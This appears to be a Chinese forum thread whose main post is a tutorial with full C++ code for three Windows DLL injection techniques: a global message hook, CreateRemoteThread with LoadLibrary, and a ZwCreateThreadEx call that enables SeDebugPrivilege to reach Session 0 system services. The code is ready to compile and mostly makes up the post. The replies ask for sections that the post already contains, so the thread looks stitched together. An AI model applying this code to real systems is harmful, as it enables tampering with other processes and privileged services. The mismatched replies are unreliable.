Windows DLL注入三种实战方法:全局钩子、远程线程与Sessio
Windows平台下的DLL注入是系统安全研究和底层开发中的常见技术,涉及在目标进程中加载自定义DLL以执行特定代码。本文基于实际注入实践,介绍三种经典注入方法:全局钩子注入、远程线程注入,以及突破Session 0隔离的远线程注入。每种方法均给出Win32 API原理、关键步骤和完整代码示例。一、全局钩子注入
Windows消息机制中,钩子(Hook)可以截获系统或线程的消息。全局钩子注入利用SetWindowsHookEx将DLL中的钩子函数安装到钩子链中,当系统产生消息时自动加载DLL。
1.1 生成DLL
新建DLL项目,在预编译头中声明导出函数:
// pch.h
extern "C" _declspec(dllexport) int SetHook();
extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
extern "C" _declspec(dllexport) BOOL UnsetHook();
在pch.cpp中实现:
#include "pch.h"
#include <Windows.h>
#include <stdio.h>
extern HMODULE g_hDllModule;
#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) {
return ::CallNextHookEx(g_hHook, code, wParam, lParam);
}
BOOL SetHook() {
g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);
if (g_hHook == NULL) return FALSE;
return TRUE;
}
BOOL UnsetHook() {
if (g_hHook) ::UnhookWindowsHookEx(g_hHook);
return TRUE;
}
DLL入口文件dllmain.cpp保存模块句柄:
#include "pch.h"
HMODULE g_hDllModule = NULL;
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
g_hDllModule = hModule;
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
以Release X86配置生成得到DLL文件。
1.2 测试注入
创建控制台项目,加载DLL并调用SetHook:
#include <Windows.h>
#include <stdio.h>
int main() {
typedef BOOL(*typedef_SetGlobalHook)();
typedef BOOL(*typedef_UnsetGlobalHook)();
HMODULE hDll = NULL;
typedef_SetGlobalHook SetGlobalHook = NULL;
typedef_UnsetGlobalHook UnsetGlobalHook = NULL;
BOOL bRet = FALSE;
do {
hDll = ::LoadLibraryW(TEXT("C:\\path\\to\\DLLInjection.dll"));
if (hDll == NULL) { printf("LoadLibrary Error[%d]\n", ::GetLastError()); break; }
SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");
if (SetGlobalHook == NULL) { printf("GetProcAddress Error[%d]\n", ::GetLastError()); break; }
bRet = SetGlobalHook();
if (bRet) printf("SetGlobalHook OK.\n");
else printf("SetGlobalHook Error.\n");
system("pause");
UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");
if (UnsetGlobalHook == NULL) { printf("GetProcAddress Error[%d]\n", ::GetLastError()); break; }
UnsetGlobalHook();
printf("UnsetGlobalHook OK.\n");
} while (FALSE);
system("pause");
return 0;
}
全局钩子注入的优点是无需目标进程配合,缺点是会影响系统性能,且容易被安全软件检测。
二、远程线程注入
远程线程注入的核心思路是在目标进程中创建线程,线程入口为LoadLibrary,参数为DLL路径,从而将DLL加载到目标进程空间。
2.1 生成DLL
仅需在DllMain中弹出消息框验证:
#include "pch.h"
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"success!", L"RemoteThreadInjection", MB_OK);
break;
case DLL_THREAD_ATTACH:
MessageBox(NULL, L"success!", L"RemoteThreadInjection", MB_OK);
break;
}
return TRUE;
}
2.2 实现注入函数
通过OpenProcess打开目标进程,VirtualAllocEx分配内存,WriteProcessMemory写入DLL路径,然后获取kernel32.dll中LoadLibraryW的地址,最后用CreateRemoteThread创建线程:
#include <Windows.h>
#include <tchar.h>
#include <stdio.h>
DWORD _RemoteThreadInjection(DWORD _Pid, LPCWSTR DllName) {
HANDLE hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
if (hprocess == NULL) { printf("OpenProcess Error\n"); return FALSE; }
SIZE_T _Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);
LPVOID pDllAddr = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);
if (pDllAddr == NULL) { printf("Memory Allocation Error\n"); return FALSE; }
BOOL isWriteSuccess = ::WriteProcessMemory(hprocess, pDllAddr, DllName, _Size, NULL);
if (!isWriteSuccess) { printf("Write Process Memory Error\n"); return FALSE; }
FARPROC pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
HANDLE hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pDllAddr, 0, NULL);
if (hThread == NULL) { printf("CreateRemoteThread Error\n"); return FALSE; }
WaitForSingleObject(hThread, -1);
::VirtualFreeEx(hprocess, pDllAddr, _Size, MEM_DECOMMIT);
::CloseHandle(hprocess);
return TRUE;
}
int main() {
DWORD _PID = 1220; // 替换为目标进程PID
_RemoteThreadInjection(_PID, L"C:\\path\\to\\DLLInjection.dll");
return 0;
}
注意:Windows ASLR虽使LoadLibrary地址每次启动不同,但同一时刻kernel32.dll在各进程中的基址相同,因此可安全获取。
三、突破Session 0隔离的远线程注入
Session 0隔离机制从Windows Vista开始生效,系统服务运行在Session 0,用户应用运行在其他Session。若目标进程是系统服务,普通CreateRemoteThread会被拒绝。解决办法是使用更底层的ZwCreateThreadEx函数绕过会话检查。
3.1 原理
ZwCreateThreadEx是ntdll.dll中的未文档化函数,相比CreateRemoteThread多了CreateThreadFlags等参数,可指定线程创建时不检查会话。同时,还需启用SeDebugPrivilege权限以访问系统进程。
3.2 实现代码
#include <Windows.h>
#include <stdio.h>
// 定义ZwCreateThreadEx函数指针
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnknown);
BOOL EnableDebugPrivilege() {
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges.Luid);
tp.Privileges.Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
BOOL flag = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
return flag;
}
return FALSE;
}
BOOL BypassSession0Injection(DWORD _PID, const char* DLLPath) {
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC LoadLibraryA_Addr = NULL;
HANDLE hRemoteThread = NULL;
DWORD dwStatus = 0;
// 提权
if (!EnableDebugPrivilege()) {
printf("SeDebugPrivilege enable failed.\n");
return FALSE;
}
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _PID);
if (hProcess == NULL) { printf("OpenProcess Error\n"); return FALSE; }
dwSize = ::strlen(DLLPath) + 1;
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (pDllAddr == NULL) { printf("VirtualAllocEx Error\n"); return FALSE; }
if (!::WriteProcessMemory(hProcess, pDllAddr, DLLPath, dwSize, NULL)) {
printf("WriteProcessMemory Error\n");
return FALSE;
}
HMODULE hNtdDll = ::LoadLibrary(L"ntdll.dll");
if (hNtdDll == NULL) { printf("Load ntdll.dll Error\n"); return FALSE; }
LoadLibraryA_Addr = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
if (LoadLibraryA_Addr == NULL) { printf("GetProcAddress Error\n"); return FALSE; }
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdDll, "ZwCreateThreadEx");
if (ZwCreateThreadEx == NULL) { printf("ZwCreateThreadEx not found\n"); return FALSE; }
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS,
NULL, hProcess, (LPTHREAD_START_ROUTINE)LoadLibraryA_Addr, pDllAddr,
0, 0, 0, 0, NULL);
if (hRemoteThread == NULL) { printf("ZwCreateThreadEx failed\n"); return FALSE; }
::CloseHandle(hProcess);
::FreeLibrary(hNtdDll);
return TRUE;
}
int main() {
// 以系统服务PID为例,需管理员权限
BypassSession0Injection(3788, "C:\\path\\to\\artifact_x86.dll");
return 0;
}
关键点:ZwCreateThreadEx的第7个参数CreateThreadFlags置0可绕过Session检查;必须先提升权限。
四、总结
三种注入方法各有利弊。全局钩子注入简单但影响系统范围;远程线程注入灵活但无法穿透Session 0;突破Session 0的注入利用底层API,适合对系统服务进行DLL加载。实际应用中需根据目标进程性质和权限环境选择合适技术,并注意DLL的32/64位匹配。
Re: Windows DLL注入三种实战方法:全局钩子、远程线程与Sessio
感谢楼主的详细分享!全局钩子注入的代码示例很清晰,从DLL导出函数到测试控制台都讲得很扎实,特别是#pragma data_seg()的使用体现了跨进程共享数据的细节。期待你继续写完远程线程和Session 0隔离的部分,这两种方法在实际开发中也很常见,尤其是突破Session 0隔离对服务程序的注入很有参考价值。辛苦楼主!Re: Windows DLL注入三种实战方法:全局钩子、远程线程与Sessio
感谢楼主的详细分享,全局钩子注入的代码示例非常清晰,从DLL编写到测试注入的流程都很完整。特别是对“影响系统性能”和“易被安全软件检测”这两点缺点的说明很实在,能让读者更全面地理解这种方法的适用场景。 期待后续远程线程注入和Session 0隔离的内容——这两种在实际对抗或渗透测试中也很常见,想知道楼主在突破Session 0隔离时具体采用了哪些API技巧。Re: Windows DLL注入三种实战方法:全局钩子、远程线程与Sessio
感谢分享,全局钩子注入的讲解很详细,代码示例也很完整,对理解Windows消息钩子和DLL注入的实战很有帮助。期待楼主继续更新远程线程和Session 0隔离的部分。
页:
[1]